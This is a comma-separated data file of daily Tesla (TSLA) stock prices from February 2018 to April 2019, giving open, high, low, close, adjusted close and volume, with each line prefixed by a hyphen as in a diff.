-2018-02-21,336.0299987792969,339.69000244140625,333.1700134277344,333.29998779296875,333.29998779296875,3219600,TSLA
-2018-02-22,335.5299987792969,347.44000244140625,334.75,346.1700134277344,346.1700134277344,6969800,TSLA
-2018-02-23,347.8299865722656,354.989990234375,347.1000061035156,352.04998779296875,352.04998779296875,5817400,TSLA
-2018-02-26,353.5,359.0,352.3599853515625,357.4200134277344,357.4200134277344,4340000,TSLA
-2018-02-27,356.25,359.989990234375,350.010009765625,350.989990234375,350.989990234375,4797400,TSLA
-2018-02-28,352.57000732421875,355.239990234375,342.2200012207031,343.05999755859375,343.05999755859375,6069700,TSLA
-2018-03-01,345.010009765625,348.6700134277344,330.07000732421875,330.92999267578125,330.92999267578125,6885600,TSLA
-2018-03-02,326.9800109863281,335.2200012207031,322.9700012207031,335.1199951171875,335.1199951171875,5092800,TSLA
-2018-03-05,332.3900146484375,337.75,329.2900085449219,333.3500061035156,333.3500061035156,3823800,TSLA
-2018-03-06,333.75,336.3699951171875,327.0299987792969,328.20001220703125,328.20001220703125,4285700,TSLA
-2018-03-07,325.44000244140625,332.5,321.739990234375,332.29998779296875,332.29998779296875,5007300,TSLA
-2018-03-08,332.8599853515625,333.29998779296875,326.2699890136719,329.1000061035156,329.1000061035156,3566200,TSLA
-2018-03-09,324.1000061035156,328.489990234375,322.3699951171875,327.1700134277344,327.1700134277344,5506800,TSLA
-2018-03-12,328.6099853515625,347.2099914550781,326.5,345.510009765625,345.510009765625,8264000,TSLA
-2018-03-13,328.6099853515625,347.2099914550781,326.5,341.8399963378906,341.8399963378906,5965800,TSLA
-2018-03-14,336.760009765625,339.80999755859375,323.92999267578125,326.6300048828125,326.6300048828125,7967400,TSLA
-2018-03-15,329.3800048828125,332.8500061035156,321.1000061035156,325.6000061035156,325.6000061035156,6564800,TSLA
-2018-03-16,322.92999267578125,327.3999938964844,319.07000732421875,321.3500061035156,321.3500061035156,6117300,TSLA
-2018-03-19,316.5,320.75,309.6700134277344,313.55999755859375,313.55999755859375,7484300,TSLA
-2018-03-20,314.8699951171875,316.25,308.760009765625,310.54998779296875,310.54998779296875,4764300,TSLA
-2018-03-21,310.25,322.44000244140625,310.19000244140625,316.5299987792969,316.5299987792969,5958400,TSLA
-2018-03-22,313.8900146484375,318.82000732421875,308.17999267578125,309.1000061035156,309.1000061035156,4939800,TSLA
-2018-03-23,311.25,311.25,300.45001220703125,301.5400085449219,301.5400085449219,6654900,TSLA
-2018-03-26,307.3399963378906,307.5899963378906,291.3599853515625,304.17999267578125,304.17999267578125,8375200,TSLA
-2018-03-27,304.0,304.2699890136719,277.17999267578125,279.17999267578125,279.17999267578125,13872000,TSLA
-2018-03-28,264.5799865722656,268.67999267578125,252.10000610351562,257.7799987792969,257.7799987792969,21001400,TSLA
-2018-03-29,256.489990234375,270.9599914550781,248.2100067138672,266.1300048828125,266.1300048828125,15170700,TSLA
-2018-04-02,256.260009765625,260.3299865722656,244.58999633789062,252.47999572753906,252.47999572753906,16114000,TSLA
-2018-04-03,269.82000732421875,273.3500061035156,254.49000549316406,267.5299987792969,267.5299987792969,18844400,TSLA
-2018-04-04,252.77999877929688,288.3699951171875,252.0,286.94000244140625,286.94000244140625,19896700,TSLA
-2018-04-05,289.3399963378906,306.260009765625,288.20001220703125,305.7200012207031,305.7200012207031,19121100,TSLA
-2018-04-06,301.0,309.2799987792969,295.5,299.29998779296875,299.29998779296875,13520300,TSLA
-2018-04-09,300.3699951171875,309.5,289.2099914550781,289.6600036621094,289.6600036621094,10249800,TSLA
-2018-04-10,298.9700012207031,307.1000061035156,293.67999267578125,304.70001220703125,304.70001220703125,10989800,TSLA
-2018-04-11,300.739990234375,308.9800109863281,299.6600036621094,300.92999267578125,300.92999267578125,7482900,TSLA
-2018-04-12,302.32000732421875,303.95001220703125,293.67999267578125,294.0799865722656,294.0799865722656,7608800,TSLA
-2018-04-13,303.6000061035156,303.95001220703125,295.9800109863281,300.3399963378906,300.3399963378906,7327200,TSLA
-2018-04-16,299.0,299.6600036621094,289.010009765625,291.2099914550781,291.2099914550781,6338500,TSLA
-2018-04-17,288.8699951171875,292.1700134277344,282.510009765625,287.69000244140625,287.69000244140625,7000000,TSLA
-2018-04-18,291.0799865722656,300.239990234375,288.1600036621094,293.3500061035156,293.3500061035156,6557700,TSLA
-2018-04-19,291.0799865722656,301.010009765625,288.54998779296875,300.0799865722656,300.0799865722656,6090600,TSLA
-2018-04-20,295.1700134277344,299.9800109863281,289.75,290.239990234375,290.239990234375,5627900,TSLA
-2018-04-23,291.2900085449219,291.6199951171875,282.3299865722656,283.3699951171875,283.3699951171875,4893400,TSLA
-2018-04-24,285.0,287.0899963378906,278.4599914550781,283.4599914550781,283.4599914550781,5685300,TSLA
-2018-04-25,283.5,285.1600036621094,277.25,280.69000244140625,280.69000244140625,4013600,TSLA
-2018-04-26,278.75,285.7900085449219,276.5,285.4800109863281,285.4800109863281,4356000,TSLA
-2018-04-27,285.3699951171875,294.4700012207031,283.8299865722656,294.0799865722656,294.0799865722656,4364600,TSLA
-2018-04-30,293.6099853515625,298.7300109863281,292.5,293.8999938964844,293.8999938964844,4228200,TSLA
-2018-05-01,293.510009765625,300.82000732421875,293.2200012207031,299.9200134277344,299.9200134277344,4625600,TSLA
-2018-05-02,298.57000732421875,306.8500061035156,297.7799987792969,301.1499938964844,301.1499938964844,8970400,TSLA
-2018-05-03,278.7900085449219,288.0400085449219,275.2300109863281,284.45001220703125,284.45001220703125,17352100,TSLA
-2018-05-04,283.0,296.8599853515625,279.5199890136719,294.0899963378906,294.0899963378906,8569400,TSLA
-2018-05-07,297.5,305.9599914550781,295.1700134277344,302.7699890136719,302.7699890136719,8678200,TSLA
-2018-05-08,300.79998779296875,307.75,299.0,301.9700012207031,301.9700012207031,5930000,TSLA
-2018-05-09,300.4100036621094,307.010009765625,300.04998779296875,306.8500061035156,306.8500061035156,5727400,TSLA
-2018-05-10,307.5,312.989990234375,304.1099853515625,305.0199890136719,305.0199890136719,5651600,TSLA
-2018-05-11,307.70001220703125,308.8800048828125,299.0799865722656,301.05999755859375,301.05999755859375,4679600,TSLA
-2018-05-14,303.32000732421875,304.94000244140625,291.6199951171875,291.9700012207031,291.9700012207031,7286800,TSLA
-2018-05-15,285.010009765625,286.9599914550781,280.5,284.17999267578125,284.17999267578125,9519200,TSLA
-2018-05-16,283.8299865722656,288.80999755859375,281.55999755859375,286.4800109863281,286.4800109863281,5674000,TSLA
-2018-05-17,285.8999938964844,289.19000244140625,283.9700012207031,284.5400085449219,284.5400085449219,4420600,TSLA
-2018-05-18,284.6499938964844,284.6499938964844,274.0,276.82000732421875,276.82000732421875,7251900,TSLA
-2018-05-21,281.3299865722656,291.489990234375,281.29998779296875,284.489990234375,284.489990234375,9182600,TSLA
-2018-05-22,287.760009765625,288.0,273.4200134277344,275.010009765625,275.010009765625,8945800,TSLA
-2018-05-23,277.760009765625,279.9100036621094,274.0,279.07000732421875,279.07000732421875,5985100,TSLA
-2018-05-24,278.3999938964844,281.1099853515625,274.8900146484375,277.8500061035156,277.8500061035156,4176700,TSLA
-2018-05-25,277.6300048828125,279.6400146484375,275.6099853515625,278.8500061035156,278.8500061035156,3875100,TSLA
-2018-05-29,278.510009765625,286.5,276.1499938964844,283.760009765625,283.760009765625,5666600,TSLA
-2018-05-30,283.2900085449219,295.010009765625,281.6000061035156,291.7200012207031,291.7200012207031,7489700,TSLA
-2018-05-31,287.2099914550781,290.3699951171875,282.92999267578125,284.7300109863281,284.7300109863281,5919700,TSLA
-2018-06-01,285.8599853515625,291.95001220703125,283.8399963378906,291.82000732421875,291.82000732421875,5424400,TSLA
-2018-06-04,294.3399963378906,299.0,293.54998779296875,296.739990234375,296.739990234375,4797800,TSLA
-2018-06-05,297.70001220703125,297.79998779296875,286.739990234375,291.1300048828125,291.1300048828125,5995200,TSLA
-2018-06-06,300.5,322.1700134277344,297.4800109863281,319.5,319.5,18767300,TSLA
-2018-06-07,316.1499938964844,330.0,313.5799865722656,316.0899963378906,316.0899963378906,14345300,TSLA
-2018-06-08,319.0,324.4800109863281,317.1499938964844,317.6600036621094,317.6600036621094,8205200,TSLA
-2018-06-11,322.510009765625,334.6600036621094,322.5,332.1000061035156,332.1000061035156,13183500,TSLA
-2018-06-12,344.70001220703125,354.9700012207031,338.0,342.7699890136719,342.7699890136719,22347400,TSLA
-2018-06-13,346.7099914550781,347.20001220703125,339.79998779296875,344.7799987792969,344.7799987792969,9469800,TSLA
-2018-06-14,347.6300048828125,358.75,346.6000061035156,357.7200012207031,357.7200012207031,10981000,TSLA
-2018-06-15,353.8399963378906,364.6700134277344,351.25,358.1700134277344,358.1700134277344,10848300,TSLA
-2018-06-18,355.3999938964844,373.7300109863281,354.5,370.8299865722656,370.8299865722656,12073200,TSLA
-2018-06-19,365.1600036621094,370.0,346.25,352.54998779296875,352.54998779296875,12761900,TSLA
-2018-06-20,358.0400085449219,364.3800048828125,352.0,362.2200012207031,362.2200012207031,8383700,TSLA
-2018-06-21,362.0,366.2099914550781,346.2699890136719,347.510009765625,347.510009765625,7967100,TSLA
-2018-06-22,351.5400085449219,352.25,332.0,333.6300048828125,333.6300048828125,10266100,TSLA
-2018-06-25,330.1199951171875,338.4700012207031,327.5,333.010009765625,333.010009765625,6931300,TSLA
-2018-06-26,336.04998779296875,343.54998779296875,325.79998779296875,342.0,342.0,7452500,TSLA
-2018-06-27,345.0,350.7900085449219,339.5,344.5,344.5,8333700,TSLA
-2018-06-28,348.6600036621094,357.0199890136719,346.1099853515625,349.92999267578125,349.92999267578125,8398000,TSLA
-2018-06-29,353.3299865722656,353.8599853515625,342.4100036621094,342.95001220703125,342.95001220703125,6492400,TSLA
-2018-07-02,360.07000732421875,364.7799987792969,329.8500061035156,335.07000732421875,335.07000732421875,18759800,TSLA
-2018-07-03,331.75,332.489990234375,309.69000244140625,310.8599853515625,310.8599853515625,12282600,TSLA
-2018-07-05,313.760009765625,314.3900146484375,296.2200012207031,309.1600036621094,309.1600036621094,17476400,TSLA
-2018-07-06,304.95001220703125,312.07000732421875,302.0,308.8999938964844,308.8999938964844,8865500,TSLA
-2018-07-09,311.989990234375,318.5199890136719,308.0,318.510009765625,318.510009765625,7596800,TSLA
-2018-07-10,324.55999755859375,327.67999267578125,319.20001220703125,322.4700012207031,322.4700012207031,9471500,TSLA
-2018-07-11,315.79998779296875,321.94000244140625,315.07000732421875,318.9599914550781,318.9599914550781,4884100,TSLA
-2018-07-12,321.42999267578125,323.2300109863281,312.7699890136719,316.7099914550781,316.7099914550781,5721200,TSLA
-2018-07-13,315.5799865722656,319.5799865722656,309.25,318.8699951171875,318.8699951171875,5869800,TSLA
-2018-07-16,311.7099914550781,315.1600036621094,306.25,310.1000061035156,310.1000061035156,7818700,TSLA
-2018-07-17,308.80999755859375,324.739990234375,308.5,322.69000244140625,322.69000244140625,6996200,TSLA
-2018-07-18,325.0,325.5,316.25,323.8500061035156,323.8500061035156,5624200,TSLA
-2018-07-19,316.3299865722656,323.5400085449219,314.010009765625,320.2300109863281,320.2300109863281,5915300,TSLA
-2018-07-20,321.2300109863281,323.239990234375,311.7099914550781,313.5799865722656,313.5799865722656,5162200,TSLA
-2018-07-23,301.8399963378906,305.5,292.8599853515625,303.20001220703125,303.20001220703125,10992900,TSLA
-2018-07-24,304.4200134277344,307.7200012207031,292.54998779296875,297.42999267578125,297.42999267578125,9590800,TSLA
-2018-07-25,296.739990234375,309.6199951171875,294.5,308.739990234375,308.739990234375,7075400,TSLA
-2018-07-26,304.8500061035156,310.70001220703125,303.6400146484375,306.6499938964844,306.6499938964844,4630500,TSLA
-2018-07-27,307.25,307.69000244140625,295.3399963378906,297.17999267578125,297.17999267578125,5703300,TSLA
-2018-07-30,295.8999938964844,296.1000061035156,286.1300048828125,290.1700134277344,290.1700134277344,6814100,TSLA
-2018-07-31,292.25,298.32000732421875,289.07000732421875,298.1400146484375,298.1400146484375,5076900,TSLA
-2018-08-01,297.989990234375,303.0,293.0,300.8399963378906,300.8399963378906,10129400,TSLA
-2018-08-02,328.44000244140625,349.989990234375,323.1600036621094,349.5400085449219,349.5400085449219,23215000,TSLA
-2018-08-03,347.80999755859375,355.0,342.5299987792969,348.1700134277344,348.1700134277344,13656500,TSLA
-2018-08-06,345.4599914550781,354.9800109863281,341.82000732421875,341.989990234375,341.989990234375,8564300,TSLA
-2018-08-07,343.8399963378906,387.4599914550781,339.1499938964844,379.57000732421875,379.57000732421875,30875800,TSLA
-2018-08-08,369.0899963378906,382.6400146484375,367.1199951171875,370.3399963378906,370.3399963378906,24571200,TSLA
-2018-08-09,365.54998779296875,367.010009765625,345.7300109863281,352.45001220703125,352.45001220703125,17183800,TSLA
-2018-08-10,354.0,360.0,346.0,355.489990234375,355.489990234375,11552000,TSLA
-2018-08-13,361.1300048828125,363.19000244140625,349.0199890136719,356.4100036621094,356.4100036621094,10463900,TSLA
-2018-08-14,358.45001220703125,359.20001220703125,347.1000061035156,347.6400146484375,347.6400146484375,6986400,TSLA
-2018-08-15,341.9100036621094,344.489990234375,332.1400146484375,338.69000244140625,338.69000244140625,9101300,TSLA
-2018-08-16,339.9100036621094,342.2799987792969,333.82000732421875,335.45001220703125,335.45001220703125,6064000,TSLA
-2018-08-17,323.5,326.7699890136719,303.5299987792969,305.5,305.5,18958600,TSLA
-2018-08-20,291.70001220703125,308.5,288.20001220703125,308.44000244140625,308.44000244140625,17402300,TSLA
-2018-08-21,310.6099853515625,324.7900085449219,309.0,321.8999938964844,321.8999938964844,13172200,TSLA
-2018-08-22,320.8699951171875,323.8800048828125,314.6700134277344,321.6400146484375,321.6400146484375,5946000,TSLA
-2018-08-23,319.1400146484375,327.32000732421875,318.1000061035156,320.1000061035156,320.1000061035156,5147300,TSLA
-2018-08-24,320.70001220703125,323.8500061035156,319.3999938964844,322.82000732421875,322.82000732421875,3602600,TSLA
-2018-08-27,318.0,322.44000244140625,308.80999755859375,319.2699890136719,319.2699890136719,13079300,TSLA
-2018-08-28,318.4100036621094,318.8800048828125,311.19000244140625,311.8599853515625,311.8599853515625,7649100,TSLA
-2018-08-29,310.2699890136719,311.8500061035156,303.69000244140625,305.010009765625,305.010009765625,7447400,TSLA
-2018-08-30,302.260009765625,304.6000061035156,297.7200012207031,303.1499938964844,303.1499938964844,7216700,TSLA
-2018-08-31,302.0,305.30999755859375,298.6000061035156,301.6600036621094,301.6600036621094,5375100,TSLA
-2018-09-04,296.94000244140625,298.19000244140625,288.0,288.95001220703125,288.95001220703125,8350500,TSLA
-2018-09-05,285.04998779296875,286.7799987792969,277.17999267578125,280.739990234375,280.739990234375,7720800,TSLA
-2018-09-06,284.79998779296875,291.1700134277344,278.8800048828125,280.95001220703125,280.95001220703125,7480800,TSLA
-2018-09-07,260.1000061035156,268.3500061035156,252.25,263.239990234375,263.239990234375,22491900,TSLA
-2018-09-10,273.260009765625,286.0299987792969,271.0,285.5,285.5,14283500,TSLA
-2018-09-11,279.4700012207031,282.0,273.54998779296875,279.44000244140625,279.44000244140625,9170000,TSLA
-2018-09-12,281.44000244140625,292.5,278.6499938964844,290.5400085449219,290.5400085449219,10015400,TSLA
-2018-09-13,288.0199890136719,295.0,285.17999267578125,289.4599914550781,289.4599914550781,6340300,TSLA
-2018-09-14,288.760009765625,297.3299865722656,286.5199890136719,295.20001220703125,295.20001220703125,6765600,TSLA
-2018-09-17,290.0400085449219,300.8699951171875,288.1300048828125,294.8399963378906,294.8399963378906,6887600,TSLA
-2018-09-18,296.69000244140625,302.6400146484375,275.5,284.9599914550781,284.9599914550781,16547500,TSLA
-2018-09-19,280.510009765625,300.0,280.5,299.0199890136719,299.0199890136719,8294900,TSLA
-2018-09-20,303.55999755859375,305.9800109863281,293.3299865722656,298.3299865722656,298.3299865722656,7349400,TSLA
-2018-09-21,297.70001220703125,300.5799865722656,295.3699951171875,299.1000061035156,299.1000061035156,5050500,TSLA
-2018-09-24,298.4800109863281,303.0,293.5799865722656,299.67999267578125,299.67999267578125,4843000,TSLA
-2018-09-25,300.0,304.6000061035156,296.5,300.989990234375,300.989990234375,4481700,TSLA
-2018-09-26,301.9100036621094,313.8900146484375,301.1099853515625,309.5799865722656,309.5799865722656,7843200,TSLA
-2018-09-27,312.8999938964844,314.9599914550781,306.9100036621094,307.5199890136719,307.5199890136719,8509100,TSLA
-2018-09-28,270.260009765625,278.0,260.55999755859375,264.7699890136719,264.7699890136719,33649700,TSLA
-2018-10-01,305.7699890136719,311.44000244140625,301.04998779296875,310.70001220703125,310.70001220703125,21777600,TSLA
-2018-10-02,313.95001220703125,316.8399963378906,299.1499938964844,301.0199890136719,301.0199890136719,11743500,TSLA
-2018-10-03,303.3299865722656,304.6000061035156,291.57000732421875,294.79998779296875,294.79998779296875,7995000,TSLA
-2018-10-04,293.95001220703125,294.0,277.6700134277344,281.8299865722656,281.8299865722656,9814200,TSLA
-2018-10-05,274.6499938964844,274.8800048828125,260.0,261.95001220703125,261.95001220703125,17944500,TSLA
-2018-10-08,264.5199890136719,267.760009765625,249.0,250.55999755859375,250.55999755859375,13472700,TSLA
-2018-10-09,255.25,266.7699890136719,253.3000030517578,262.79998779296875,262.79998779296875,12060600,TSLA
-2018-10-10,264.6099853515625,265.510009765625,247.77000427246094,256.8800048828125,256.8800048828125,12815300,TSLA
-2018-10-11,257.5299987792969,262.25,249.02999877929688,252.22999572753906,252.22999572753906,8167700,TSLA
-2018-10-12,261.0,261.989990234375,252.00999450683594,258.7799987792969,258.7799987792969,7201400,TSLA
-2018-10-15,259.05999755859375,263.2799987792969,254.5399932861328,259.5899963378906,259.5899963378906,6200000,TSLA
-2018-10-16,265.70001220703125,277.3800048828125,262.239990234375,276.5899963378906,276.5899963378906,9526400,TSLA
-2018-10-17,282.3999938964844,282.70001220703125,265.79998779296875,271.7799987792969,271.7799987792969,8655500,TSLA
-2018-10-18,269.2900085449219,271.0,263.0,263.9100036621094,263.9100036621094,5421200,TSLA
-2018-10-19,267.3900146484375,269.6600036621094,253.5,260.0,260.0,9375500,TSLA
-2018-10-22,260.67999267578125,261.8599853515625,252.58999633789062,260.95001220703125,260.95001220703125,5600300,TSLA
-2018-10-23,263.8699951171875,297.92999267578125,262.1000061035156,294.1400146484375,294.1400146484375,19027800,TSLA
-2018-10-24,301.04998779296875,304.44000244140625,285.7300109863281,288.5,288.5,20058300,TSLA
-2018-10-25,317.2200012207031,321.0,301.010009765625,314.8599853515625,314.8599853515625,20840700,TSLA
-2018-10-26,308.25,339.8999938964844,306.6499938964844,330.8999938964844,330.8999938964844,27425500,TSLA
-2018-10-29,337.4700012207031,347.1600036621094,326.5,334.8500061035156,334.8500061035156,14486000,TSLA
-2018-10-30,328.3900146484375,337.8999938964844,322.260009765625,329.8999938964844,329.8999938964844,9126700,TSLA
-2018-10-31,332.5400085449219,342.0,329.1000061035156,337.32000732421875,337.32000732421875,7624300,TSLA
-2018-11-01,338.260009765625,347.8399963378906,334.7300109863281,344.2799987792969,344.2799987792969,8000100,TSLA
-2018-11-02,343.739990234375,349.20001220703125,340.9100036621094,346.4100036621094,346.4100036621094,7808000,TSLA
-2018-11-05,340.5,343.9599914550781,330.1400146484375,341.3999938964844,341.3999938964844,7831000,TSLA
-2018-11-06,339.07000732421875,348.79998779296875,336.0899963378906,341.05999755859375,341.05999755859375,6762900,TSLA
-2018-11-07,343.3399963378906,351.17999267578125,340.79998779296875,348.1600036621094,348.1600036621094,7374500,TSLA
-2018-11-08,348.5,357.5799865722656,348.44000244140625,351.3999938964844,351.3999938964844,7090700,TSLA
-2018-11-09,349.0,354.0,345.2300109863281,350.510009765625,350.510009765625,5098800,TSLA
-2018-11-12,348.3699951171875,349.7799987792969,330.3399963378906,331.2799987792969,331.2799987792969,6941500,TSLA
-2018-11-13,333.1600036621094,344.70001220703125,332.20001220703125,338.7300109863281,338.7300109863281,5448600,TSLA
-2018-11-14,342.70001220703125,347.1099853515625,337.1499938964844,344.0,344.0,5040300,TSLA
-2018-11-15,342.3299865722656,348.5799865722656,339.0400085449219,348.44000244140625,348.44000244140625,4625700,TSLA
-2018-11-16,345.19000244140625,355.70001220703125,345.1199951171875,354.30999755859375,354.30999755859375,7206200,TSLA
-2018-11-19,356.3399963378906,366.75,352.8800048828125,353.4700012207031,353.4700012207031,9708900,TSLA
-2018-11-20,341.75,349.79998779296875,333.54998779296875,347.489990234375,347.489990234375,8004700,TSLA
-2018-11-21,352.0,353.1000061035156,337.3999938964844,338.19000244140625,338.19000244140625,4686800,TSLA
-2018-11-23,334.3500061035156,337.5,325.54998779296875,325.8299865722656,325.8299865722656,4202600,TSLA
-2018-11-26,325.0,346.2200012207031,325.0,346.0,346.0,7992100,TSLA
-2018-11-27,340.04998779296875,346.9599914550781,335.5,343.9200134277344,343.9200134277344,6358300,TSLA
-2018-11-28,345.989990234375,348.2799987792969,342.2099914550781,347.8699951171875,347.8699951171875,4127600,TSLA
-2018-11-29,347.0,347.5,339.54998779296875,341.1700134277344,341.1700134277344,3080700,TSLA
-2018-11-30,341.8299865722656,351.6000061035156,338.260009765625,350.4800109863281,350.4800109863281,5629100,TSLA
-2018-12-03,360.0,366.0,352.0,358.489990234375,358.489990234375,8306500,TSLA
-2018-12-04,356.04998779296875,368.67999267578125,352.0,359.70001220703125,359.70001220703125,8461900,TSLA
-2018-12-06,356.010009765625,367.3800048828125,350.760009765625,363.05999755859375,363.05999755859375,7842500,TSLA
-2018-12-07,369.0,379.489990234375,357.6499938964844,357.9700012207031,357.9700012207031,11511200,TSLA
-2018-12-10,360.0,365.9800109863281,353.1199951171875,365.1499938964844,365.1499938964844,6613500,TSLA
-2018-12-11,369.9100036621094,372.1700134277344,360.2300109863281,366.760009765625,366.760009765625,6308800,TSLA
-2018-12-12,369.4200134277344,371.9100036621094,365.1600036621094,366.6000061035156,366.6000061035156,5027000,TSLA
-2018-12-13,370.1499938964844,377.44000244140625,366.75,376.7900085449219,376.7900085449219,7365900,TSLA
-2018-12-14,375.0,377.8699951171875,364.3299865722656,365.7099914550781,365.7099914550781,6337600,TSLA
-2018-12-17,362.0,365.70001220703125,343.8800048828125,348.4200134277344,348.4200134277344,7674000,TSLA
-2018-12-18,350.5400085449219,351.54998779296875,333.69000244140625,337.0299987792969,337.0299987792969,7100000,TSLA
-2018-12-19,337.6000061035156,347.010009765625,329.739990234375,332.9700012207031,332.9700012207031,8274200,TSLA
-2018-12-20,327.04998779296875,330.2900085449219,311.8699951171875,315.3800048828125,315.3800048828125,9071900,TSLA
-2018-12-21,317.3999938964844,323.4700012207031,312.44000244140625,319.7699890136719,319.7699890136719,8016800,TSLA
-2018-12-24,313.5,314.5,295.20001220703125,295.3900146484375,295.3900146484375,5559900,TSLA
-2018-12-26,300.0,326.9700012207031,294.0899963378906,326.0899963378906,326.0899963378906,8163100,TSLA
-2018-12-27,319.8399963378906,322.1700134277344,301.5,316.1300048828125,316.1300048828125,8575100,TSLA
-2018-12-28,323.1000061035156,336.239990234375,318.4100036621094,333.8699951171875,333.8699951171875,9939000,TSLA
-2018-12-31,337.7900085449219,339.2099914550781,325.260009765625,332.79998779296875,332.79998779296875,6302300,TSLA
-2019-01-02,306.1000061035156,315.1300048828125,298.79998779296875,310.1199951171875,310.1199951171875,11658600,TSLA
-2019-01-03,307.0,309.3999938964844,297.3800048828125,300.3599853515625,300.3599853515625,6965200,TSLA
-2019-01-04,306.0,318.0,302.7300109863281,317.69000244140625,317.69000244140625,7394100,TSLA
-2019-01-07,321.7200012207031,336.739990234375,317.75,334.9599914550781,334.9599914550781,7551200,TSLA
-2019-01-08,341.9599914550781,344.010009765625,327.0199890136719,335.3500061035156,335.3500061035156,7008500,TSLA
-2019-01-09,335.5,343.5,331.4700012207031,338.5299987792969,338.5299987792969,5432900,TSLA
-2019-01-10,334.3999938964844,345.3900146484375,331.7900085449219,344.9700012207031,344.9700012207031,6056400,TSLA
-2019-01-11,342.0899963378906,348.4100036621094,338.7699890136719,347.260009765625,347.260009765625,5039100,TSLA
-2019-01-14,342.3800048828125,342.5,334.0,334.3999938964844,334.3999938964844,5247300,TSLA
-2019-01-15,335.0,348.79998779296875,334.5,344.42999267578125,344.42999267578125,6056600,TSLA
-2019-01-16,344.7799987792969,352.0,343.5,346.04998779296875,346.04998779296875,4691700,TSLA
-2019-01-17,346.2099914550781,351.5,344.1499938964844,347.30999755859375,347.30999755859375,3676700,TSLA
-2019-01-18,323.0,327.1300048828125,299.7300109863281,302.260009765625,302.260009765625,24150800,TSLA
-2019-01-22,304.82000732421875,308.0,295.5,298.9200134277344,298.9200134277344,12066700,TSLA
-2019-01-23,292.5,294.5,281.69000244140625,287.5899963378906,287.5899963378906,12530000,TSLA
-2019-01-24,283.0299987792969,293.67999267578125,279.2799987792969,291.510009765625,291.510009765625,8012200,TSLA
-2019-01-25,294.3900146484375,298.5199890136719,289.54998779296875,297.0400085449219,297.0400085449219,7249600,TSLA
-2019-01-28,292.9100036621094,297.4599914550781,287.75,296.3800048828125,296.3800048828125,6423300,TSLA
-2019-01-29,295.2699890136719,298.55999755859375,291.79998779296875,297.4599914550781,297.4599914550781,4621700,TSLA
-2019-01-30,300.45001220703125,309.0,298.489990234375,308.7699890136719,308.7699890136719,11250300,TSLA
-2019-01-31,301.0,311.55999755859375,294.0,307.0199890136719,307.0199890136719,12569200,TSLA
-2019-02-01,305.4200134277344,316.1000061035156,303.5,312.2099914550781,312.2099914550781,7283400,TSLA
-2019-02-04,312.9800109863281,315.29998779296875,301.8800048828125,312.8900146484375,312.8900146484375,7352100,TSLA
-2019-02-05,312.489990234375,322.44000244140625,312.25,321.3500061035156,321.3500061035156,6742800,TSLA
-2019-02-06,319.5899963378906,324.239990234375,315.6199951171875,317.2200012207031,317.2200012207031,5038500,TSLA
-2019-02-07,313.29998779296875,314.70001220703125,303.0,307.510009765625,307.510009765625,6520600,TSLA
-2019-02-08,306.8299865722656,307.45001220703125,298.5,305.79998779296875,305.79998779296875,5844200,TSLA
-2019-02-11,311.6000061035156,318.6000061035156,310.5,312.8399963378906,312.8399963378906,7129700,TSLA
-2019-02-12,316.20001220703125,318.19000244140625,309.6199951171875,311.80999755859375,311.80999755859375,5517600,TSLA
-2019-02-13,312.3500061035156,312.75,305.57000732421875,308.1700134277344,308.1700134277344,5141600,TSLA
-2019-02-14,303.3800048828125,306.7699890136719,301.0,303.7699890136719,303.7699890136719,5200800,TSLA
-2019-02-15,304.5,308.0,303.8999938964844,307.8800048828125,307.8800048828125,3904900,TSLA
-2019-02-19,306.55999755859375,311.5400085449219,305.4700012207031,305.6400146484375,305.6400146484375,4168400,TSLA
-2019-02-20,304.4100036621094,306.29998779296875,299.0,302.55999755859375,302.55999755859375,7142100,TSLA
-2019-02-21,301.80999755859375,303.239990234375,290.5,291.2300109863281,291.2300109863281,8909200,TSLA
-2019-02-22,294.489990234375,296.5,292.1000061035156,294.7099914550781,294.7099914550781,5740600,TSLA
-2019-02-25,297.9100036621094,302.8999938964844,297.0,298.7699890136719,298.7699890136719,6626500,TSLA
-2019-02-26,292.2200012207031,302.010009765625,288.7699890136719,297.8599853515625,297.8599853515625,8582500,TSLA
-2019-02-27,301.7799987792969,316.29998779296875,300.54998779296875,314.739990234375,314.739990234375,11183900,TSLA
-2019-02-28,318.9200134277344,320.0,310.80999755859375,319.8800048828125,319.8800048828125,10520700,TSLA
-2019-03-01,306.94000244140625,307.1300048828125,291.8999938964844,294.7900085449219,294.7900085449219,22911400,TSLA
-2019-03-04,298.1199951171875,299.0,282.7799987792969,285.3599853515625,285.3599853515625,17096800,TSLA
-2019-03-05,282.0,284.0,270.1000061035156,276.5400085449219,276.5400085449219,18764700,TSLA
-2019-03-06,276.4800109863281,281.510009765625,274.3900146484375,276.239990234375,276.239990234375,10335500,TSLA
-2019-03-07,278.8399963378906,284.70001220703125,274.25,276.5899963378906,276.5899963378906,9442500,TSLA
-2019-03-08,276.9100036621094,285.5899963378906,275.8900146484375,284.1400146484375,284.1400146484375,8819600,TSLA
-2019-03-11,283.5199890136719,291.2799987792969,280.5,290.9200134277344,290.9200134277344,7392300,TSLA
-2019-03-12,286.489990234375,288.07000732421875,281.05999755859375,283.3599853515625,283.3599853515625,7504100,TSLA
-2019-03-13,283.8999938964844,291.989990234375,282.70001220703125,288.9599914550781,288.9599914550781,6844700,TSLA
-2019-03-14,292.45001220703125,295.3900146484375,288.2900085449219,289.9599914550781,289.9599914550781,7103400,TSLA
-2019-03-15,283.510009765625,283.7200012207031,274.3999938964844,275.42999267578125,275.42999267578125,14785500,TSLA
-2019-03-18,276.0,278.04998779296875,267.29998779296875,269.489990234375,269.489990234375,10281000,TSLA
-2019-03-19,267.5,273.29998779296875,263.4599914550781,267.4700012207031,267.4700012207031,11800600,TSLA
-2019-03-20,269.69000244140625,274.9700012207031,266.29998779296875,273.6000061035156,273.6000061035156,6908200,TSLA
-2019-03-21,272.6000061035156,276.45001220703125,268.45001220703125,274.0199890136719,274.0199890136719,5947100,TSLA
-2019-03-22,272.5799865722656,272.79998779296875,264.0,264.5299987792969,264.5299987792969,8745600,TSLA
-2019-03-25,259.7099914550781,263.17999267578125,254.4600067138672,260.4200134277344,260.4200134277344,10215000,TSLA
-2019-03-26,264.44000244140625,270.260009765625,264.42999267578125,267.7699890136719,267.7699890136719,7350900,TSLA
-2019-03-27,268.75,275.3699951171875,268.17999267578125,274.8299865722656,274.8299865722656,8779200,TSLA
-2019-03-28,277.1600036621094,280.3299865722656,275.1000061035156,278.6199951171875,278.6199951171875,6774100,TSLA
-2019-03-29,278.70001220703125,280.1600036621094,274.5,279.8599853515625,279.8599853515625,5991300,TSLA
-2019-04-01,282.6199951171875,289.20001220703125,281.2799987792969,289.17999267578125,289.17999267578125,8110400,TSLA
